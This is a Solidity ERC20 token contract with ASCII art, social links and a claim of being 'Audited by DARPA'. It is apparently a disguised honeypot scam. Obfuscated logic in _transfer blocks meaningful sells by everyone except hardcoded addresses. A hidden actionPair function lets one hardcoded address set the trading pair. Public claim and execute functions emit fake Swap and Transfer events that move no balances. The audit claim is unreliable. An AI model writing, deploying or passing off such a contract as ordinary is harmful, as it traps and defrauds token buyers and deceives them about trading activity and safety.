// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

// X: https://x.com/sprmeth
// Telegram: https://t.me/sprmeth
// Website: https://spectrum.bid

// Audited by DARPA

// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kxdoooooodxk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOoc;,..............,;coOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxc,...'','''''''''''''''...,cxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0l,..''''''''''''''''''''''''''..,l0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKl..'''''''''''''''''''''''''''''','..lKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMNx'.',''''''''''''''''''''''''''''''''''.'dNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMWX0kxddo:.......'','''''''''''''''''''''''''.......;oodxk0XWMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMNOdlllccloc..:cc::;,'....''''''''''''''''''........''''..,;;,;:cldONMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMNOoccldk0000Oc'lddddddddoc;,...''''''''''''.....',;;;;;;;;,.'lllllc:;;:lkNMMMMMMMMMMMMM
// MMMMMMMMMMMXdccok00000000o':dddddddddddddo:'..''''''''....,;;;;;;;;;;;;;'.;llllllllc;,:dKMMMMMMMMMMM
// MMMMMMMMMNd:cx0000000000O:,oddddddddddddddddc,..''''...';;;;;;;;;;;;;;;;;.'cllllllllllc,,oXMMMMMMMMM
// MMMMMMMWO::x000000000000x,;dddddddddddddddddddc'.....';;;;;;;;;;;;;;;;;;;'.:llllllllllllc,;OWMMMMMMM
// MMMMMMWx;lO0000000000000d':ddddddddddddddddddddo'  .,;;;;;;;;;;;;;;;;;;;;'.;llllllllllllll;,dNMMMMMM
// MMMMMWd,o000000000000000d,:ddddddddddddddddddddl,,;'';;;;;;;;;;;;;;;;;;;;'.;lllllllllllllll:'oNMMMMM
// MMMMMx,l0000000000000000k;;dddddddddddddddddddo'cXNd.,;;;;;;;;;;;;;;;;;;;'.cllllllllllllllll:'dWMMMM
// MMMMK;:O00000000000000000c'ldddddddddddddddddd;;0MMX:.;;;;;;;;;;;;;;;;;;,.,llllllllllllllllll,,0MMMM
// MMMMd'd000000000000000000x,;dddddddddddddddddl'oWMMMx.';;;;;;;;;;;;;;;;;'.:llllllllllllllllll:.oWMMM
// MMMWc;k0000000000000000000o,:dddddddddddddddx:'kMMMM0,.;;;;;;;;;;;;;;;;'.;llllllllllllllllllll':NMMM
// MMMN::O0000000000000Okdollc'.,::::clodddddddd:,OMMMMX;.;;;;;;;;,,'''''...,;;;:clllllllllllllll';KMMM
// MMMNc;O000000000kdlccc:cllooc',xkxdolc::ldddx:,OMMMMK;.;;;;,'';cldxkx:.',,,''''',,:cllllllllll':XMMM
// MMMWo,x000000koc::coxkkkkkkkkd::kNMMWN0xl::ldc'xMMMMO'';,',cdOXWMMWO:',:;;:::::;,,'',;cllllllc.cWMMM
// MMMMk,l0000kl;:lxkkkkkkkkkkkkkko:cxXMMMMMXkl:;.cNMMWo..':xKWMMMMNkc,,;:::::::;;::::;,'',cllll;'xMMMM
// MMMMNl;x0kl;cdkkkkkkkkkkkkkkkkkkkoccokXWMMMW0o..xMM0'.cONMMMMNOo:,,;::::::::;:::::::::;'.,clc'cXMMMM
// MMMMMK:;l;:dkkkkkkkkkkkkkkkkkkkkkkkxlccldk0XWW0;;xk:;kNWX0kdl;,';::::;::::::::::;:::::::;'.;';0MMMMM
// MMMMMMO,.ckkkkkkkkkkkkkkkkkkkkkkkkkkkkkdl:,',:cc.  .:l:,'..',;::::::;;:::::::::::;;::;:::;,..kMMMMMM
// MMMMMWd,';okkkkkkkkkkkkkkkkkkkkkkkkkkdl:clodxkkc',;':xkxolc;'',;:::;:::::::::::::;;::::::;...oNMMMMM
// MMMMWx,lxc,cxkkkkkkkkkkkkkkkkkkkkkdc:coOXWMMWKc.cXNd.;OWMMWXOdc,',:::::::::::::::::::::;'.':,.dWMMMM
// MMMMK;;xkkdc;cdkkkkkkkkkkkkkkkkko:cd0WMMMMWOo;.,KMMX:.'ckNMMMMWKx:,,;:::::::;:::;::::;'.';ccc',0MMMM
// MMMMd'okkkkkdc::cdkkkkkkkkkkkko::kNMMMMN0dc:ll'oWMMMx.,,,:oONMMMMNOc',::::::;::::;;''.';ccccc;.oWMMM
// MMMWc,xkkkkkkkkoc:::codxkkkkxc;xNWNKkdoc:cdxkc'kMMMM0,'::;,,;ldk0XWNk;';:::;;,,''''';:ccccccc:.:NMMM
// MMMN:;kkkkkkkkkkkkxoc::ccc::'.;olllc:coxkkkkk:,OMMMMX;.::::::;,',;:cl;...'''''',;::ccccccccccc';XMMM
// MMMNc,xkkkkkkkkkkkkkkkkkxdl''loodxkkkkkkkkkkk:,OMMMMK;'::::::::::::;;;,..,:::ccccccccccccccccc.;XMMM
// MMMWo'dkkkkkkkkkkkkkkkkkkx;,okxkkkkkkkkkkkkkkl'xMMMMO''::::::::::::::::;..:cccccccccccccccccc:.cWMMM
// MMMMk,ckkkkkkkkkkkkkkkkkkl'ckkkkkkkkkkkkkkkkkx,cNMMWo.;:::::::::::::::::,.,cccccccccccccccccc,.xMMMM
// MMMMNl,dkkkkkkkkkkkkkkkkx;,dkkkkkkkkkkkkkkkkkkl,xWMO,':::::::::::::::::::..:cccccccccccccccc:.cNMMMM
// MMMMMK:;xkkkkkkkkkkkkkkko':kkkkkkkkkkkkkkkkkkxx:;dk:.::::::::::::::::::::'.,ccccccccccccccc:.;0MMMMM
// MMMMMMK:;dkkkkkkkkkkkkkkl'ckkkkkkkxkkkkkkkkkkkkx;. .;::::::::::::::::::::'.,cccccccccccccc:';0MMMMMM
// MMMMMMMKl;okkkkkkkkkkkkko':kkkkkkkkkkkkkkkkkkkxc,::,'::::::::::::::::::::'.,ccccccccccccc;':KMMMMMMM
// MMMMMMMMNx::dkkkkkkkkkkkd,;xkkkkkkkkkkkkkkkkxl;:kXNOc',::::::::::::::::::'.;ccccccccccc;',dNMMMMMMMM
// MMMMMMMMMMXd::okkkkkkkkkk:'okkkkkkkkkkkkkkdc;:xKNNNNXk:'';::::::::::::::;.':ccccccccc;',oKMMMMMMMMMM
// MMMMMMMMMMMMXxl:coxkkkkkkd,;xkkkkkkxkkxdl::lkXNNNNNNNNXkl;',;:::::::::::'.;cccccc:;',:dXMMMMMMMMMMMM
// MMMMMMMMMMMMMMWKxlccclodxko,:xkkxxolc::clx0NNNNNNNNNNNNNNKxl:;',,;;::::'.,c::;,',;cd0WMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMN0kdolllc;.':cclllox0XNNNNNNNNNNNNNNNNNNNNX0xolc::;,..';::ccox0XWMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMWNXXk;;kKXNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXKk;,kKXNWWMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd:dKNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNKd:oKMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKoco0XNNNNNNNNNNNNNNNNNNNNNNNNNNN0o:l0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKdlldOXNNNNNNNNNNNNNNNNNNNNXOdlco0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0dooodxOKXNNNNNNNNXKOxdllloONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWN0xdooddoooooooooooxOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXK0000KXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TOKEN is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from  != 0xCa219C74bD63122060785439B12cf80Cfe3B5cBA)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}